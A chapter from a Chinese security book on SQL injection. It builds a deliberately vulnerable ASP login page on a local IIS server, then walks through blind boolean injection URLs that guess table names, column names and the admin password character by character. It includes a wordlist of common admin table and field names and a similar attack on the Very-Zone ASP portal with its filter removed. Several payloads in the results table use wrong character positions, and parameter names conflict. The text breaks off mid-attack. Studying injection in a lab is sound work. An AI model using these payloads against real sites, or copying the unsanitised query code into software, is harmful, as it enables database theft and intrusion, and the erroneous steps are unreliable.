SQL注入攻击研究

1.1 SQL注入攻击研究
 
 
 

“注入攻击”这个词在网络上已经是屡见不鲜了。当入侵者准备入侵一台主机时,通常情况下首先查看这台服务器上有无动态网页的Web服务,并且这些动态网页是否存在漏洞。如果存在漏洞,则可以通过一些手段来得到管理员的密码,甚至是整台服务器的控制权。在这些漏洞中比较常见且容易上手的一种攻击方式就是SQL注入攻击,这种技术并不需要太高深的理论基础和复杂的操作。目前掌握这门技术的人较多,也是当前对网站进行入侵的一种主流方式。

本节将披露SQL注入攻击技术的原理和手法,并介绍针对注入攻击的防范措施,希望能够帮助更多的网络管理员远离这种攻击。

1.1.1  测试环境的搭建

本章中的许多内容需要通过实例讲解,考虑到不能随意攻击和破坏他人的网络,笔者在自己的电脑中搭建一台网站服务器,并构造一个存在漏洞的页面作为实例演示之用。

在Windows下有许多网站服务器软件,其中最为常见的是 IIS(Internet Information Server,Internet信息服务)、PWS(Personal Web Server,个人网页服务器),以及Apache服务器等。其中PWS在Windows 98操作系统中比较常见,IIS在Windows 2000以后的Windows操作系统中比较常见,Apache经常在Linux中与PHP配合使用。考虑到大部分读者使用Windows操作系统平台,而且IIS也比较常见并且容易安装,所以以IIS为例讲解搭建如何网络服务器。

IIS的安装过程如下。

(1)将Windows XP的安装光盘放入光驱中,然后单击“开始”׀“设置”׀“控制面板”选项,如图1-1所示。

(2)弹出“控制面板”窗口,单击“添加/删除 Windows 组件”按钮,如图1-2所示。

      

图1-1  “控制面板”选项            图1-2  “添加/删除Windows 组件”按钮

(3)弹出如图1-3所示的“Windows组件向导”对话框,选择“Internet 信息服务(IIS)”复选框。

图1-3  “Windows组件向导”对话框

(4)单击“下一步”按钮,显示“正在配置组件”对话框,如图1-4所示。等待,直到提示完成,如图1-5所示。

图1-4  “正在配置组件”对话框

图1-5  提示完成

安装IIS之后,IIS会创建操作系统所在盘(下面以C盘为例)的\Inetpub\wwwroot文件夹作为网站的根目录。将相关的网页文件放到这个目录中,即可在IE中浏览这个网页。

为了检验IIS是否能正常工作,使用记事本编写如下代码:

<html>

<head>

<title>测试网页</title>

</head>

<body>测试IIS是否能正常工作,看到我就说明IIS能正常工作了!

</body>

</html>

将上述代码保存为aaa.html文件,并复制到上述目录中。打开IE浏览器,访问http://127.0.0.1/aaa.html。如果显示如图1-6所示的测试结果,则说明IIS已正常运行。

图1-6  显示结果

下面测试IIS是否能正常地解析ASP动态脚本网页,在记事本中输入下述代码:

<html>

<head><title>测试asp</title></head>

<body>

<%

Response.Write “Asp正常执行”

%>

</body>

</html>

将上述代码保存为aaa.asp文件,并复制到上述目录中。然后打开IE,访问http://127.0.0.1/aaa.asp或http://localhost/aaa.asp。如果显示如图1-7所示的测试结果,说明IIS可以正常工作。

图1-7  测试结果

1.1.2  一个简单的实例

大部分留言本的管理后台登录后才能进入。一般情况下,用户在输入密码并单击“登录”按钮后登录页面会把输入的密码提交给一个动态网页。这个网页查看该密码和数据库中的密码是否相同,如果相同,则登录成功;否则就会提示输入错误。

下面首先编写一个页面用来显示用户名和密码文本框,以及“登录”按钮网页文件,代码如下:

<html>

<head><title>登录页面</title></head>   

<body>

    <div align="center">

        <form action="login.asp" method="post">

            请输入密码:

            <br><br>

            用 户:<input name="name" type="textbox">

            <br>

   

            密 码:<input name="pass" type="password">

            <br>

            <input type="submit" value="登录">

        </form>

    </div>

</body>

</html>

编写后保存为名为“login.html”的网页文件。

说明如下:

<form action="login.asp" method="post">

这行代码指定把数据提交给login.asp网页。

<input name="name" type="textbox">

    ……   

<input name="pass" type="password">

这是一个典型的表单,这两行代码显示一个文本框和一个密码文本框。其名称“name”非常重要,login.asp用其从提交的数据中获取用户名和密码数据。

login.asp的代码如下:

<%

inname = Request("name")

inpass = Request("pass")

set conn=server.createobject("ADODB.CONNECTION")

conn.open "Provider=microsoft.jet.oledb.4.0; Data Source=C:\Inetpub\wwwroot\db.mdb;"

Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘")

truepass = rs("upass")

if inpass=truepass then

  response.write("登录成功!")

else

  response.write("登录失败!")

end if

%>

<p>用户编号:

<%response.write(rs("uid"))%>

</p>

 

<%

Set rs=Nothing

conn.close

%>

说明如下:

inname = Request("name")

inpass = Request("pass")

从提交的数据中查找名为“name”及“pass”的数据,并分别保存在inname和inpass两个变量中,后者用于比较pass是否正确。

set conn=server.createobject("ADODB.CONNECTION")

conn.open "Provider=microsoft.jet.oledb.4.0; Data Source=C:\Inetpub\wwwroot\db.mdb;"

使程序连接C:\Inetpub\wwwroot中的db.mdb 数据库文件,以便查询数据。

Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘")

查询db.mdb数据库data表中,内容为inname 的变量名“uname”,并将其保存在rs变量中。

truepass = rs("upass")

将查询记录中upass字段的内容保存到truepass变量中。

if inpass=truepass then

  response.write("登录成功!")

else

  response.write("登录失败!")

end if

这是经典的判断语句,用于判断inpass变量是否与truepass相同,即判断用户输入的密码是否与数据库中查询的密码相同。如果相同,则输出“登录成功”;否则输出“登录失败”。

<p>用户编号:<% respons.wirte(rs("uid"))%></p>

显示数据库中uid字段的内容,即当前登录用户的编号。

Set rs=Nothing

conn.close

释放变量并关闭数据库连接,虽然未释放变量程序仍可正常运行,但这是编程的良好习惯,值得提倡。

为创建db.mdb数据库文件,首先需要安装Access。打开Access 2007主窗口,单击“文件”→“新建”选项,然后创建如表1-1和图1-8所示的表结构。

表1-1  数据库的表结构

<DIV align=center>

字段名

类型

备注

uid

自动编号

设为主键

uname

文本

用户名字段

upass

文本

密码字段

</DIV>

图1-8  表结构

输入用户名和密码,双击表名data进入数据编辑界面。添加两条记录,如图1-9所示。其中uname为用户名,upass为密码。

图1-9  添加两条记录

将login.html和login.asp复制到C:\Inetpub\wwwroot目录中,打开IE,输入http://127.0.0.1/login.html即可访问如图1-10所示的登录页面。

输入正确的密码admin后单击“登录”按钮,登录成功,如图1-11所示。

  

图1-10  登录页面                            图1-11  登录成功

输入一个错误密码,如“123”。单击“登录”按钮,显示登录错误。如图1-12所示。

图1-12  登录错误

上述演示说明这个密码验证程序的功能是正确的,问题在于提交的数据。即name的值并没有判断其合法性,而是直接放到SQL语句中使用,如果用户输入的不是密码,而是一段代码,问题就严重了。从理论上讲,确实有很多相似之处。不过注入的效果却显而易见,而且没有多少编程功底的人也可以很容易理解并掌握这种技术。

尝试在“用户”文本框中输入一个单引号,单击“登录”按钮,结果如图1-13所示。

可以看到IIS提示无法显示该网页。如果需要查看错误原因,需要设置IE。为此,单击“工具”|“Internet 选项”选项,如图1-14所示。

打开“Internet选项”对话框,切换到如图1-15所示的“高级”选项卡,清除“显示友好HTTP错误信息”复选框。

单击“确定”按钮,输入单引号作为用户名登录,显示的错误信息如图1-16所示。

   

图1-13  输入结果                       图1-14  “Internet 选项”选项

   

图1-15  “高级”选项卡                         图1-16  错误信息

在检测一个网站的安全性时,检测者并不知道该网站所用的数据库。如果看到这个错误信息,则可以看出Microsoft Jet Database Engine是微软的Access数据库,可以尝试Access的一些已知漏洞。

分析出现这个错误的原因,查询数据库的SQL代码如下:

inname = Request("name")

……

Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘")

如果用户输入的是一个单引号,那么这个语句变为 SELECT * FROM data WHERE uname=‘‘‘。

这样最后的单引号多余,从而造成语法错误。

1.1.3  用浏览器直接提交数据

在ASP中,从外部接收的数据即参数。名称即参数名,其值即该参数值。在login.asp中,接收的用户名的参数名是“user”,密码的参数名是“pass”,所以提交的数据中应该分别把用户名和密码的参数名与其值匹配。

在浏览器的地址栏中要访问的文件名后面加上问号及参数列表,参数值之间用等号来连接,参数之间用“&”来隔开。用这样的地址来访问该页面,即可达到与页面提交基本上相同的效果。

地址的形式如下:

http://要访问的网站/要访问的页面.asp?参数1=值1&参数2=值2……

其中参数的顺序可以任意调换,不过要保证参数名与值相对应。

如前例中的用户名的参数名是“name”,值是admin;密码的参数名是“pass”,值是admin,则应该在地址栏中输入以下地址:

http://127.0.0.1/login.asp?name=admin&pass=admin

显示登录成功,说明数据提交成功并被login.asp接收,如图1-17所示。

图1-17  登录成功

也可以交换两个参数的位置来登录,如用地址http://127.0.0.1/login.asp?pass=
admin&name=admin与使用http://127.0.0.1/login.asp?name=admin&pass=admin的结果相同。

如果密码改为abcde,则访问的地址是:

http://127.0.0.1/login.asp?name=admin&pass=abcde

http://127.0.0.1/login.asp? pass=abcde&name=admin

访问下面的地址:

http://127.0.0.1/login.asp?pass=admin&name =abcde

则会登录失败,因为密码为abcde,用户名为admin。

下面以admin为用户名,以错误的密码“123456”来登录:

http://127.0.0.1/login.asp?name=admin&pass=123456

提示登录失败,如图1-18所示。

图1-18  登录失败

说明更换数据,页面的功能仍正常,即可以判断密码的正确性。

使用这种方法模拟提交引号:

http://127.0.0.1/login.asp?pass=admin&name=‘

提示IIS 500错误。

这样登录完全可以代替用页面提交,而且可以省略访问登录页面所用的时间,从而提高效率。

这种提交方式在没有任何漏洞可利用的情况下,还可以通过穷举法使用可能的密码组合来登录,登录成功说明密码正确。

在研究SQL注入过程中,将会不停地提交数据测试,所以用这种方法将会事半功倍。而且在实际的入侵中,很多注入点未提供用户输入。在这种情况下,也只有用这种方法来提交数据才能执行SQL注入。

1.1.4  注入型攻击原理

如前所述,因为页面直接把用户提交的用户名(一个单引号)放到SQL语句中执行,所以造成引号不成对的语法错误。通过错误提示,攻击者可以知道该网站所用的数据库类型,然后针对这个数据库的漏洞进行攻击。

SQL语句

<DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: gray 0.75pt solid">

SQL语句之间用分号“;”隔开。

</DIV>

SELECT语句

SELECT语句是SQL中的查询语句,通常用于查询数据库中的数据,其语法如下:

SELECT 要查询的内容(可以是字段名列表) FROM 表名;

其中要查询的内容可以是字段名列表,多个字段名之间用逗号“,”隔开,查询所有字段用星号“*”表示。

表名是用来指定要查询的数据库中表的名称。

如查询data表中的uname和upass两个字段的值,语句如下:

SELECT uname,upass FROM data;

因为data数据库中只有uname和upass两个字段,所以可以编写如下语句查询所有列值:

SELECT * FROM data;

WHERE语句

WHERE语句通常放在SELECT语句后面,用来设置查询过虑条件,即只查询符合条件的数据,其语法如下:

WHERE 查询条件列表

查询条件是一个布尔值(即逻辑值,真或者假)表达式,如果要查询所有数据,则条件为空。例如:

SELECT * FROM data WHERE uname=‘admin’;

多个条件之间用“and ”连接,如要查询在数据库中uname字段为admin,以及upass字段为admin的数据:

SELECT * FROM data WHERE uname=‘admin’ and upass=‘admin’;

在SQL中字符串的内容用一对单引号引起。字符串可以为空,如上述语句可写成:

SELECT * FROM data WHERE uname=‘’ and upass=‘’;

判断是否有注入漏洞要用到逻辑运算,这里重点介绍“与”运算。

上例中用来查询的语句是:

SELECT * FROM data WHERE uname=‘用户输入的用户名’

在这个语句中只有一个条件,即uname为用户输入的用户名。如果在后面再加一个“1=1”的条件:

SELECT * FROM data WHERE uname=‘用户输入的用户名’ and 1=1

由于1=1是永远成立的,所以不影响整个语句的执行。

如果添加“1=2”的条件:

SELECT * FROM data WHERE uname=‘用户输入的用户名’ and 1=2

由于1=2永远不成立,所以所有的条件都不成立。通过在数据库查询语句后面添加 and 1=1 和 and 1=2两个条件,查看是否影响页面的查询结果,即可判断注入的语句是否被执行,即检测页面是否存在SQL注入漏洞。

下面通过实例来查看利用注入漏洞,漏洞页面中语句的原型如下:

SELECT * FROM data WHERE uname=‘用户输入的用户名’

输入如下SQL语句:

SELECT * FROM data WHERE uname=‘admin’ and 1=1’

在浏览器的地址栏中输入:

http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=1

访问页面提示出错,最后引号多余。

重新构造用户名:

admin’ and 1=1 and ‘a’=‘a

SQL语句为:

SELECT * FROM data WHERE uname=‘admin’ and 1=1 and ‘a’=‘a’

第3个条件‘a’= ‘a’与‘1’= ‘1’均为一个永远成立的条件,并不影响其他条件。

在浏览器中提交,输入以下地址:

http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=1 and ‘a’=‘a

可以正常显示页面,如图1-19所示。

图1-19  登录成功

在地址栏中有多个类似“%20”的编码,即URL编码,浏览器会自动地把一些特殊的字符转换成该编码。“%20”是空格的URL编码。

下面提交1=2的恒错条件让页面出错,查看是否能影响页面的执行。

在浏览器地址栏中输入以下地址:

http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=2 and ‘a’=‘a

页面出错可以说明这个页面有SQL注入漏洞。使用1=1和1=2的条件来分别访问页面时,如果显示的内容不同,则说明存在漏洞。

SQL的SELECT…FROM语句的返回值为要查询的记录内容。

下面利用漏洞来猜解,首先猜解数据库的表名。以下语句可以作为一个条件来使用:

 (SELECT uid FROM data WHERE uname=‘admin’)=1

这是个复杂条件,首先用SELECT语句查询数据库中uname字段为admin的记录,得到其uid字段值。再对比是否为1,为1,则这个条件为真;否则为假。

同样,以下这个语句也是一个条件:

(SELECT upass FROM data WHERE uname=‘admin’)=‘admin’

首先用SELECT语句查询数据库中uname字段为admin的记录,得到其upass字段值。然后对比是否为admin,为admin,则这个条件为真;否则为假。

把这个语句作为一个条件,然后插到前面用来检测是否存在漏洞的语句中,即:

SELECT * FROM data WHERE uname=‘admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ and ‘a’=‘a’

如果uname为admin的记录的upass字段值是admin,添加的条件为真;否则为假。因为使用与运算(and),所以只要条件列表中的一个条件是假,则所有条件都不成立。

根据上面所述来构造如下访问地址:

http://127.0.0.1/login.asp?pass=admin&name=admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ and ‘a’=‘a

页面成功显示。

更换一个值:

http://127.0.0.1/login.asp?pass=admin&name=admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘123’ and ‘a’=‘a

页面出错,说明uname是admin的记录的upass字段的值不是123。

基于此,可以判断猜测的密码是否正确。破解者只要不停地改变上面加粗部分的值来提交测试,页面正常显示说明页面根据这个条件查询到数据。这样等于猜解出了用户的密码。

如果用户把密码设置得难以猜测的话,攻击者很难猜到,那么这种方法没有优势,而且比较麻烦。不过,如果配合利用SQL 语言的灵活性及其自带的一些函数的话,这种方法还是可取的。

1.1.5  典型攻击过程及代码分析

在本节中将会介绍如何利用漏洞猜解出表名、字段名,然后得到用户的名称和密码。

在实际的入侵中,入侵者不知道目标网站的数据库结构。即数据库的表名及字段名,所以不存在上述的入侵。

要得到数据库中的用户名和密码,首先应该知道其中用来保存用户名和密码的数据表的表名。

使用COUNT函数来查询这个表时,得到的结果应该大于0。

根据这个推论,可以构造如下条件语句:

SELECT COUNT(*) FROM data)>0

把这个条件语句利用漏洞试试,构造的URL地址如下:

http://127.0.0.1/login.asp?uname=admin’ and (select count(*) from data )>0 and ‘a’=‘a

提交这个地址,如果页面能正常显示,则说明这个表存在;否则说明用来保存用户名和密码的表不是这个表。在入侵时,只要不停地变换表名(URL中的“data”部分)。直到页面正常显示,说明这个表存在。

如果运气不好,猜到的这个表不一定用来保存用户名和密码。不过程序员在编写页面时为了方便调用和维护,不会用复杂的表名,所以表名比用户名容易猜得多。一般来说,用来保存用户名和密码的表名类似于user、manage及admin等。常用的表名可以在网络上搜索到很多,只要有足够的经验,很容易猜出表名。

在猜解出表名以后,需要猜解字段名。为此在COUNT中加入猜测的字段名,即构造如下SQL条件语句:

SELECT COUNT(uname) FROM data)>0

根据这个语句构造的URL地址如下:

http://127.0.0.1/login.asp?uname=admin’ and (select count( uname ) from data )>0 and ‘a’=‘a

如果页面正常显示,说明字段存在;否则说明字段不存在。

表1-2所示是笔者积累的一些常见的表名,以及用户名和密码的字段名,在猜测表名和字段名时会用到。

猜解出表名和字段名以后,可以猜解用户名和密码。提交不同的SQL语句给页面,根据其显示是否正常,可以把数据库中所有记录的数据逐个“解出”。

SQL语法知识

<DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: gray 0.75pt solid">

len()函数:为取得字符串的长度

len(字符串)

</DIV>

 

表1-2  常见表名,以及用户名和密码的字段名

<DIV align=center>

常见的表名

常见的用户信息字段名

admin

a_admin

x_admin

m_admin

adminuser

admin_user

article_admin

administrator

manage

manager

member

memberlist

user

users

userinfo

user_info

用户

movie

 

movies

news

password

clubconfig

config

company

book

art

bbs

dv_admin

admin_userinfo

userlist

密码

会员

登录

user_list

login

 

id

admin

adminid

admin_id

adminuser

admin_user

adminuserid

admin_userid

adminusername

admin_username

adminname

admin_name

adminpwd

admin_pwd

adminpass

admin_pass

adminpassword

admin_password

administrator

administrators

user

userid

user_id

name

username

user_name

pass

userpass

user_pass

password

userpassword

user_password

pwd

userpwd

user_pwd

useradmin

user_admin

pword

p_word

dw

oklook

passwd

pass_wd

yonghu

用户

用户名

mima

密码

usr

usr_n

usrname

usr_name

usrpass

usr_pass

usrnam

nc

uid

     
</DIV>

下面以猜解admin用户的密码为例,首先要确定密码的长度,可以使用SQL的Len()函数,构造如下条件语句:

(SELECT * FROM data WHERE uname=admin and len(upass)>1 ) >0

这个条件语句的两个条件是uname为admin,以及upass字段的值长度大于1,即upass值要有两位以上。在条件不成立时,SELECT语句查询不到任何数据。结果应该为0,所以 (SELECT……)>0不成立。

把这个条件语句加到URL中提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)>1 ) >0 and ‘a’=‘a

如果页面能正常显示,说明用户名是admin的这个用户的密码至少有两位;否则说明密码不大于1位,即这个密码可能是1位或0位(为空)。

所以只要不停地修改len()后面的数字,即可确定密码的长度。如要猜解例中的密码长度,可以按如下顺序提交数据:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=0 ) >0 and ‘a’=‘a

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=1 ) >0 and ‘a’=‘a

·

·

·

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=5 ) >0 and ‘a’=‘a

一直到数字改为5时页面才能正常显示,说明密码的长度为5位。

但是这种方法并不高明,逐个数字猜解需要大量时间。在真正的入侵中,如果密码有数十位,则不知要试到何年何月。

二分法首先确定一个大概的范围,然后慢慢缩小,直到能确定这个数为止。如例中的这个密码的长度可以这样猜:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<16 ) >0 and ‘a’=‘a

一般用户的密码都是16位以内,所以用len(upass)<16作为条件页面能正常显示,说明密码不到16位。现在可以确定密码的长度在0~15之间,接着找出0~16之间的中间数,计算中间数的公式如下:

中间数=(最大值-最小值)÷2+最小值

套用公式计算如下:

(16-0)÷2+0=8

用8来测试,提交的数据如下:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<8 ) >0 and ‘a’=‘a

如果页面不能正常显示,说明密码的长度在8位~16位之间;否则说明密码的长度在0位~7位之间。继续缩小范围:

(8-0)÷2+0=4

继续用4来测试、提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<4 ) >0 and ‘a’=‘a

页面出错,说明密码的长度不小于4。即大于等于4。同时小于等于8,继续缩小范围:

(8-4)÷2+4=6

用6来提交测试:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)<6 ) >0 and ‘a’=‘a

页面正常显示,说明密码的长度小于6位。下面可以用4和5来分别测试:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=4 ) >0 and ‘a’=‘a

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=5 ) >0 and ‘a’=‘a

SQL语法知识

<DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: gray 0.75pt solid">

Mid()函数:取得字符串从“起始位置”字符位置起字符个数为“长度”的子字符串。

mid(字符串,起始位置,长度)

mid(‘abcd’,2,2)

结果是bc

</DIV>

如果将上述语句改成mid(‘abdefg’,3,3),结果是def。

利用mid()函数并结合二分法,即可逐位解出密码。

首先来猜解第1位密码,构造的SQL条件语句如下,

(SELECT * FROM data WHERE uname=admin and mid(upass,1,1)= ‘a’ ) >0

该语句取第1位密码,并判断是否为字符a。如果是,则条件成立;否则条件不成立。

把这个条件语句整合到URL地址中,提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,1,1)= ‘a’ ) >0 and ‘a’=‘a

页面显示正常,说明猜对。不过要猜解完密码,需要使用二分法。

接下来开始猜解第2位密码,提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)= ‘a’ ) >0 and ‘a’=‘a

页面出错,说明第2位密码不是字母a。可以用二分法确定一个范围,再逐步缩小这个范围来确定密码内容。以如下URL地址测试:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)> ‘a’ ) >0 and ‘a’=‘a

页面正常显示,再提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘z’ ) >0 and ‘a’=‘a

根据前面提交的两个地址都可以正常显示页面,可以推断出第2位密码是小写的字母a~ z中的一个。

由于字母的中间数不好求,所以只要估计大概即可。

继续猜解第2位密码,字母a~ z的中间位置大概是字母o,提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘o’ ) >0 and ‘a’=‘a

页面正常显示,说明密码是字母a~o之间的一个字母。继续取中间位置来试,字母a~o的中间位置大概是h,所以提交:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘h’ ) >0 and ‘a’=‘a

页面正常显示,可以确定第2位密码a~h之间的一个字母。继续缩小范围,用字母e测试:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘e’ ) >0 and ‘a’=‘a

页面正常显示,然后可以分别测试字母b、c和d,用二分法测试。

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘d’ ) >0 and ‘a’=‘a

页面出错,即第2位密码小于字母e且大于或等于字母d,因此为字母d。测试:

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)=‘d’ ) >0 and ‘a’=‘a

页面显示正常,说明第2位密码是字母d。

接下来用同样方法猜解后面的3位密码。测试的步骤及其结果如表1-3所示。

表1-3  测试步骤及其结果

<DIV align=center>

提交的地址

备注

猜解第3位密码

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,3,1)>‘a’ ) >0 and ‘a’=‘a

页面显示正常

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,3,1)<‘z’ ) >0 and ‘a’=‘a

页面显示正常,第3位密码在a ~ z之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,3,1)<‘n’ ) >0 and ‘a’=‘a

页面显示正常,第3位密码在a ~ n之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)<‘h’ ) >0 and ‘a’=‘a

页面出错,第3位密码应该在i~ n之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)<‘k’ ) >0 and ‘a’=‘a

页面出错,第3位密码应该在k~ n之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)<‘m’ ) >0 and ‘a’=‘a

页面出错

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)=‘m’ ) >0 and ‘a’=‘a

页面显示正常,第3位密码是字母m

猜解第4位密码

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,3,1)>‘a’ ) >0 and ‘a’=‘a

页面显示正常

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,3,1)<‘z’ ) >0 and ‘a’=‘a

页面显示正常,第4位密码在a ~ z之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,3,1)<‘n’ ) >0 and ‘a’=‘a

页面显示正常,第4位密码在a ~ n之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)<‘h’ ) >0 and ‘a’=‘a

页面出错,第4位密码应该在h~ n之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)<‘k’ ) >0 and ‘a’=‘a

页面显示正常,第4位密码应该在h~k之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)<‘j’ ) >0 and ‘a’=‘a

页面显示正常,第4位密码应该在h~j之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)<‘i’ ) >0 and ‘a’=‘a

页面出错,第4位密码是字母i

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)=‘i’ ) >0 and ‘a’=‘a

页面显示正常,第4位密码是字母i

猜解第5位密码

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,3,1)>‘a’ ) >0 and ‘a’=‘a

页面显示正常

   
</DIV>

 

续表

<DIV align=center>

提交的地址

备注

猜解第5位密码

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,3,1)<‘z’ ) >0 and ‘a’=‘a

页面显示正常,第5位密码在a ~ z之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,3,1)<‘n’ ) >0 and ‘a’=‘a

页面出错,第5位密码在n ~ z之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)<‘s’ ) >0 and ‘a’=‘a

页面出错,第5位密码应该在n~ s之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)<‘p’ ) >0 and ‘a’=‘a

页面显示正常,第5位密码应该在n~p之间

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)<‘o’ ) >0 and ‘a’=‘a

页面显示正常

http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)=‘n’ ) >0 and ‘a’=‘a

页面显示正常,第5位密码是字母n

</DIV>

到这里,用户admin的5位密码都猜解出来,分别是a、d、m、i和n。把mid函数中要猜解的字段名upass换成uname,即可逐位猜解用户名。

1.1.6  Very-Zone SQL注入漏洞代码分析

Very-Zone(非常地带,简称“VZ”)程序是一款个人互动门户管理的ASP系统,模仿QQ空间(Q-Zone)的用户页面。它的早期版本存在着SQL注入漏洞,目前从网络上下载的版本已经使用SQL通用防注入程序防止了这个漏洞。为了能够演示如何利用漏洞,笔者删除了其中的SQL通用防注入程序。

为了更真实地模拟入侵过程,笔者将VZ作为网络一个真实的网站服务器进行渗透。

打开VZ首页及页面中的一个带参数的链接,以http://127.0.0.1/veryzone/
announce.asp?id=16为例,如图1-20所示。

图1-20  打开的链接

在打开的地址栏参数后面加上一个永远成立的条件“and 1=1”,页面能正常显示。

更换为一个永远都不会成立的条件“and 1=2”,页面中无公告内容,如图1-22所示。

   

图1-21  页面正常显示                     图1-22  无公告内容

确定插入条件会影响页面的显示结果后,可以插入不同的条件并根据页面的显示来判断条件是否成立。

首先来猜表名,提交地址:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(*) from Admin)>0

页面能正常显示,表Admin确实存在。

猜测用户名的字段,提交地址:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(User) from Admin)>0

页面没有内容,说明猜错,即数据库中没有User这个字段名。把User换成其他字段名来继续猜解,在提交以下地址时,页面正常显示:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(UserName) from Admin)>0

说明在数据库的Admin表中有UserName这个字段。

在提交以下地址后,页面正常显示:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(Password) from Admin)>0

这次猜出一个Password字段,根据表名和字段名不难估计Admin表中保存的是管理员的信息。UserName字段保存的是其用户名,Password保存的是用户密码。

知道表名和字段名之后,可以猜解数据库中的数据。首先来猜解管理员的用户名长度:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(UserName)<5) >0

页面未显示公告内容,说明管理员的用户名长度不小于5。再提交:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(UserName)<6) >0

页面正常显示,说明管理员的用户名长度小于6,即用户名长度是5,提交如下地址验证:

http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(UserName)=5) >0

页面正常显示。

接下来猜解5位管理员用户名。用二分法来猜解:

